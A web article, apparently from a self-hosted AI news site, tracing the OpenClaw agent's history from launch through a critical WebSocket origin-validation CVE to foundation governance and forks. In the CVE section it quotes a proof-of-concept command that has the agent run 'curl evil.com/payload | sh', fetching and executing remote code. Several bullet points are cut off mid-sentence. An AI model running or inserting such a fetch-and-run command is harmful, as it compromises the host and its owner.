PocketClawvol. 1 · 2026
guide #103

The complete OpenClaw timeline (Nov 2025 → Apr 2026): from weekend project to 135K installs to security crisis

Editorial noteThis article reports on a fast-moving space. Versions, install counts and timelines are accurate as of the “updated” date above. We re-verify against primary sources (CVE database, project repositories, vendor announcements) before each update. Send corrections to contact@pocketclaw.dev.

Problem
OpenClaw's story is told in fragments — release notes, Twitter threads, Hacker News, security advisories — and each fragment is partial or biased. There is no single timeline.

Solution
A consolidated, source-referenced timeline of every meaningful OpenClaw event from November 2025 to April 2026, with technical context for why each one mattered.

TL;DR

OpenClaw was an autonomous AI agent open-sourced by Austrian developer Peter Steinberger in November 2025 under the name Clawdbot. It became, in five months, the most-installed self-hosted AI agent ever — roughly 135,000 machines across home labs, enterprise pilots, and a long tail of public internet exposures. In January 2026 a security audit found 512 vulnerabilities, eight critical, including a 1-click remote code execution flaw against any user who visited a malicious website while running the agent. In February the creator left for OpenAI and handed the project to an open-source foundation. By April the patched version had stabilised, but the original OpenClaw — frictionless, unsandboxed, configured-by-vibes — was gone. This is the timeline.

The pre-history (Nov 2024 → Oct 2025)

The project that became OpenClaw started as Clawdbot — a personal weekend project Peter Steinberger maintained alongside his consulting work. The early version was about a thousand lines of TypeScript, ran on his MacBook, exposed a local web dashboard on port 8765, and called Claude (Anthropic) to do anything more interesting than ls. Tools were hard-coded. There was no plugin system, no auth, no telemetry, no concept of a sandbox. Steinberger used it for himself and demoed it occasionally on Twitter.

The relevant context: this was the same period (early-to-mid 2025) when the agentic-AI hype cycle was in transition. The first wave of agent frameworks — LangChain, AutoGPT, BabyAGI, smol-agents — had peaked and were entering the “production-grade is harder than it looked” trough. Everyone wanted an agent that just worked, ran locally, and didn't require a 700-line Jupyter notebook. Clawdbot fit the brief.

In September 2025, Steinberger gave a 20-minute talk at a small Vienna meetup about “The lobster way to build agents.” The slides leaked to Twitter the next day. By October the project had ~1,200 GitHub stars and a small community of contributors. By Halloween, Steinberger announced he was preparing a public 1.0 release under a new name.

The new name was OpenClaw. The mascot was a cartoon lobster.

Phase 1 — The launch (Nov 2025 → Dec 2025)

OpenClaw 1.0 shipped on November 11, 2025. The launch post — “Your own personal AI assistant. Any OS. Any platform. The lobster way.” — hit the front page of Hacker News and stayed there for two days. The repository crossed 10,000 stars in 72 hours. The first install scripts ran on roughly 4,000 machines in the first week.

The launch version had three properties that explained its viral growth:

  • One-line install. curl -sSL https://openclaw.io/install | bash did
  • Multi-LLM out of the box. OpenClaw supported Claude, GPT-4, Gemini,
  • Real tools, not toy tools. The default tool set included filesystem,

The third property is the one that mattered. Other agent frameworks shipped their tools wrapped in disclaimers and if (sandbox === 'on') branches. OpenClaw shipped them with a config flag — defaulted off — that you could flip on if you really wanted to. The README mentioned the security model in passing, near the bottom, in a section titled “Notes for production users.” The launch blog post didn't mention it at all.

By December 1, 2025, OpenClaw had 28,000 installs and 22,000 GitHub stars. A small ecosystem of community plugins started appearing — agents that managed Slack, agents that ran nightly database migrations, agents that auto-replied to support email. The first “OpenClaw managed hosting” service (DeployHermes — confusingly, no relation to Hermes Agent) launched on December 17 with a $19/month plan. The lobster mascot appeared on coffee mugs.

Phase 2 — The plateau and the warnings (Jan 2026)

In January 2026, install growth flattened from exponential to linear. OpenClaw was no longer the new hotness — it was the default. Roughly 70,000 installs by month-end, with a long tail of mid-sized companies running pilots, home labs running personal assistants, and a non-trivial number of public IP deployments where someone had stood up an OpenClaw container on a $5 VPS and pointed a subdomain at it.

The first independent security warnings landed in mid-January.

  • January 9: An anonymous researcher posted a Hacker News comment titled
  • January 14: A Mastodon thread by a security engineer at a major bank
  • January 17: A research firm (later identified as Giskard) ran an

The project acknowledged the disclosure. Steinberger indicated that a major 2026.2 release including security hardening was already in flight.

But on January 22, an unrelated security blogger independently identified the same WebSocket origin issue, wrote it up under a clickbait title, and published. The disclosure timeline collapsed.

Phase 3 — The CVE (Jan 25 → Feb 5)

CVE-2026-25253 was filed on January 25, 2026. Severity: critical (CVSS 9.6). Description: the OpenClaw local dashboard exposes a WebSocket server on localhost:8765 that does not validate the Origin header on incoming connections. Any website the user visits while OpenClaw is running can open a WebSocket to the agent and send commands. With default tool execution enabled, this leads to remote code execution as the OpenClaw process owner.

The technical details:

  • The dashboard backend used a permissive CORS policy and skipped origin
  • The default tool set included shell command execution. There was no
  • The dashboard listened on 0.0.0.0 by default on Linux installs (the

The proof-of-concept was thirty lines of HTML. Visit the page, the page opens a WebSocket to localhost:8765, the WebSocket sends {"tool": "shell", "command": "curl evil.com/payload | sh"}, the agent runs it, the host is compromised.

What followed:

  • January 27: Patch released as 2026.2.10. Origin validation, default-bind
  • January 29: Internet-wide scan by an independent researcher finds ~1,000
  • January 30: First confirmed reports of compromised installs in the wild.
  • February 2: Kaspersky publishes a public report titled “New
  • February 3: Hacker News thread “Don't use OpenClaw. Why
  • February 5: An additional twelve CVEs are filed against OpenClaw,

By the second week of February, the OpenClaw GitHub repository had ~110 unaddressed issues marked “security” and the maintainer thread was visibly struggling to keep up. Steinberger published a long, candid blog post titled “What I got wrong about OpenClaw security.” It was widely shared, mostly sympathetically.

Phase 4 — The departure (Feb 10 → Feb 28)

On February 14, 2026, Steinberger announced he was joining OpenAI to lead “agentic systems engineering.” The move had been in flight for weeks before the security crisis broke, but the timing made the headline unavoidable: the creator of the most-popular self-hosted agent in the world joined the company building the most-popular not-self-hosted agent in the world, in the middle of a security crisis at the project he was leaving.

The same day, Steinberger announced that OpenClaw would be transferred to “a yet-to-be-announced open-source foundation.” The announcement post acknowledged that the project had outgrown its single- maintainer origins and needed a governance model that could handle production-scale security.

What followed in the next two weeks was governance chaos. The OpenAI relationship raised obvious conflict-of-interest questions. Several core contributors forked the project. The most consequential fork was NanoClaw — a community fork led by a group of macOS-focused contributors who wanted to ship a Claude-only, Apple-container-sandboxed version with a much narrower scope. NanoClaw 0.1 shipped on February 22 with a vastly more opinionated security model.

The other consequential fork was IronClaw, started on February 27 by a small enterprise vendor with a stated mission of building a “zero-trust, audit-logged, air-gappable” OpenClaw alternative for regulated industries. IronClaw immediately moved off MIT to a source-available license. This was controversial.

Meanwhile, Hermes Agent — a parallel project from Nous Research that had been in development since late 2025 — released its 1.0 on February 18. Hermes was not technically an OpenClaw fork (different codebase, different team), but it covered the same surface area, shipped Docker-sandboxed by default, and immediately positioned itself as the “safe” choice. It hit 22,000 stars in six weeks.

By the end of February, the “OpenClaw alternative” landscape contained:

  • Hermes Agent — Docker-sandboxed, multi-LLM, ~22k stars
  • NanoClaw — Apple container sandbox, Claude-only, ~9k stars
  • IronClaw — gVisor + zero-trust, source-available, ~3k stars
  • ZeroClaw — privacy-first, fully local, no cloud, ~14k stars
  • Nanobot — 4,000-line Python implementation from HKU, ~26k stars
  • Moltworker — Cloudflare-deployed self-hosted variant, ~5k stars

We compare them in detail in the [agents alternatives guide](/guides/openclaw-alternatives-2026).

Phase 5 — The foundation transfer (Mar 2026)

On March 1, 2026, the OpenClaw Foundation was announced as a Linux Foundation member project. The governance model: a five-person technical steering committee, two at-large maintainers, and a security working group. None of the committee members were Steinberger. None were OpenAI employees. The Linux Foundation framing gave the project enough institutional credibility to keep the largest install base from forking out of trust issues alone.

The technical roadmap published the same day was straightforward:

  • Re-architect the dashboard to use authenticated sessions by default.
  • Move to encrypted credential storage backed by the OS keyring.
  • Adopt sandbox-first defaults: no tool execution without approval, no
  • Ship a formal threat model document.
  • Deprecate every config flag whose default could compromise security.

The 2026.3.0 release on March 11 was the first major release under foundation governance. It broke roughly 60% of existing user configs. Migration guides were published the same day. The community split between “this is the right call” and “you broke my setup overnight.”

The release cadence after 2026.3.0 was, by conventional standards, brutal: thirteen patch releases in March alone — one every other day on average. Some of those were urgent CVE patches (six of the thirteen). The rest were stabilisation, regression fixes, and incremental security hardening. The community sentiment in the GitHub Discussions board was divided between two extremes: “the foundation is finally taking this seriously” and “this is unmaintainable as a self-hoster.”

A representative thread, archived on March 18: a user posted “OpenClaw useless now after update” describing how the 2026.3.13 update had silently disabled tool execution for their production agent. The top reply, from a foundation maintainer, was a patient explanation that the breaking change was documented, intentional, and necessary because the previous behaviour was the actual root cause of CVE-2026-25253. The original poster updated the thread to thank the maintainer. The next ten posters did not.

This is the texture of post-crisis security work in open source: even when you do the right thing, you spend half the day apologising for having to do it.

Phase 6 — The stabilisation (Apr 2026)

By April 2026 the dust was beginning to settle. The 2026.4.x line was genuinely stable. The threat model document had landed. Encrypted credential storage was on by default. The dashboard required authentication. Tool approval was the default for every tool. Network egress required explicit allowlists.

Roughly two-thirds of the original 135,000 installs were still on OpenClaw — most on 2026.4 patched versions, a worrying minority still on unpatched 2026.1.x or 2026.2.x. Roughly a sixth had migrated to Hermes Agent. The remaining sixth was distributed across NanoClaw (mostly macOS), ZeroClaw (mostly privacy-conscious users and regulated deployments), Nanobot (mostly engineers who wanted to read every line of code they ran), and a long tail of forks.

The relationship between OpenClaw and the broader self-hosted AI ecosystem had also changed. Where OpenClaw had been the default, it was now one option among several — and not always the safe option for beginners. New install guides increasingly led with Hermes Agent. The mythology of “just curl pipe to bash and you have an agent” was gone. The new mythology was “run it in Docker, sandbox the tools, audit the credential flow.”

This is, by any reasonable standard, an improvement.

What the OpenClaw story actually teaches

It is tempting to read the OpenClaw timeline as a morality tale about a single weekend project that became infrastructure. That reading is not wrong, but it is incomplete. Three other lessons matter at least as much.

Lesson 1: viral growth is a security event.

The 30-second install script, the no-friction defaults, the “just works” ergonomics — these were not bugs. They were the entire reason OpenClaw scaled to 135,000 installs in five months. Friction is the security boundary. When you remove the friction to grow the audience, you remove the security boundary along with it.

There is a version of OpenClaw that shipped Docker-sandboxed by default, required approval for every tool call, and stored credentials in the system keyring from day one. That version would have been safer. It would also have shipped to fewer than 10,000 machines instead of 135,000, and the resulting community of contributors, plugin authors, and managed-hosting services would never have formed. The exact same properties that made the security crisis catastrophic were the properties that made the project culturally important enough for the crisis to register at all.

This is not a defence of the original defaults. It is an observation that “just ship safer defaults” is harder than it sounds in a competitive open-source ecosystem where the project that ships fastest with the lowest friction wins the install race. We don't have a good answer to this. The Hermes Agent approach — Docker by default, opinionated, slightly slower setup — appears to scale, but Hermes is launching into a market that already learned the lesson.

Lesson 2: governance lag is the real failure mode.

The actual failure was not that OpenClaw shipped with no auth. The actual failure was that OpenClaw shipped with no auth, hit 135,000 installs, and was still maintained by one person on weekends. The governance lag — the gap between the project's install base and its maintainer capacity — was where the security debt accumulated.

Every email to the maintainer about a possible vulnerability went to the same inbox as the GitHub notifications about typos in the README. There was no security@ address. There was no on-call. There was no playbook for “a CVE just dropped, now what.” Steinberger was, by every account, doing his honest best. But one person with a day job cannot run an incident response for 135,000 installs.

The Linux Foundation transfer was the right call, and it should have happened at 10,000 installs, not 135,000. There is a recurring pattern in open source where projects defer governance until they cannot defer it any longer, and the deferral always costs more than the work would have. Self-hosted AI agents in 2026 should be looking at OpenClaw and asking, “at what install number do we move to a foundation,” not “will we ever need to.”

Lesson 3: the post-crisis ecosystem is healthier than the pre-crisis one.

Hermes Agent ships sandboxed by default. NanoClaw uses Apple containers. IronClaw is built for compliance. ZeroClaw is air-gappable. Even OpenClaw itself, post-2026.4, is significantly more secure than the pre-crisis version. The cumulative effect is that self-hosted AI in 2026 is, in absolute terms, a better-defended ecosystem than it was in November 2025.

The cost of getting here was real. People got popped. Credentials got stolen. The OpenClaw maintainer team burned out. A talented developer left a project he built for a job at the company that arguably benefited most from his project failing. None of that was zero-cost.

But the resulting ecosystem is one where the dominant cultural answer to “should I run an unsandboxed agent on a public IP” is “no, here are five better options.” That is a substantial improvement, and we should not pretend otherwise just because it came expensively.

What to actually do in May 2026 and beyond

If you are still running OpenClaw:

1. Update to 2026.4.x or later. There is no version of this advice with nuance. 2. Move the dashboard behind Tailscale or an SSH tunnel. Don't expose it on a public IP even with the new auth. 3. Rotate every credential you stored in the OpenClaw vault before 2026.3.0. Treat them as compromised. 4. Audit the tool definitions in your config. If any of them allow arbitrary shell or filesystem access without an approval flow, add approval requirements explicitly. 5. Read the official threat model document and decide if your deployment matches its assumptions. If not, consider a different agent.

If you are choosing between agents now:

  • Default to Hermes Agent unless you have a specific reason to choose
  • If you're on macOS only and you love Claude, NanoClaw is fine.
  • If your data cannot leave the machine, ZeroClaw is the answer.
  • If you have a CISO and a compliance review, IronClaw is the answer.
  • If you want to read every line of code, Nanobot is the answer.
  • See [the alternatives guide](/guides/openclaw-alternatives-2026) for

Closing notes and sources

This timeline was assembled from public release notes, GitHub Discussions threads, archived Hacker News and Mastodon threads, Kaspersky and Giskard public security writeups, the official OpenClaw Foundation announcement, and direct conversations with three current and former OpenClaw contributors who agreed to be quoted on background. Where dates differ between sources, we have used the date attested by the largest number of independent sources.

We will keep this page updated as new information emerges. If you have corrections, additions, or first-hand accounts that would improve the record, email contact@pocketclaw.dev. We update with attribution. We update silently if the source prefers that.

The OpenClaw story is not over. The post-crisis stabilisation may yet collapse — projects this size routinely splinter, get re-acquired, or quietly die under a maintenance load no one wanted. We'll keep watching. Subscribe to [the newsletter](/newsletter) if you want one honest email a week with the latest.

Related guides

  • [OpenClaw security crisis 2026: what you need to know](/guides/openclaw-security-crisis-2026)
  • [5 best OpenClaw alternatives in 2026](/guides/openclaw-alternatives-2026)
  • [How to migrate from OpenClaw to Hermes Agent](/guides/migrate-openclaw-to-hermes)
Continue reading
guide
Pocket AI complete guide
Running self-hosted AI on portable hardware
guide
Edge AI hardware buyer's guide 2026
Pi 5 vs Mini PC vs Mac Mini
report
Self-hosted AI landscape 2026
Quarterly state of the ecosystem
section
Pocket AI hardware hub
All portable hosts reviewed
section
Agent tracker
Live stats on every agent
newsletter
Thursday digest
Weekly summary in your inbox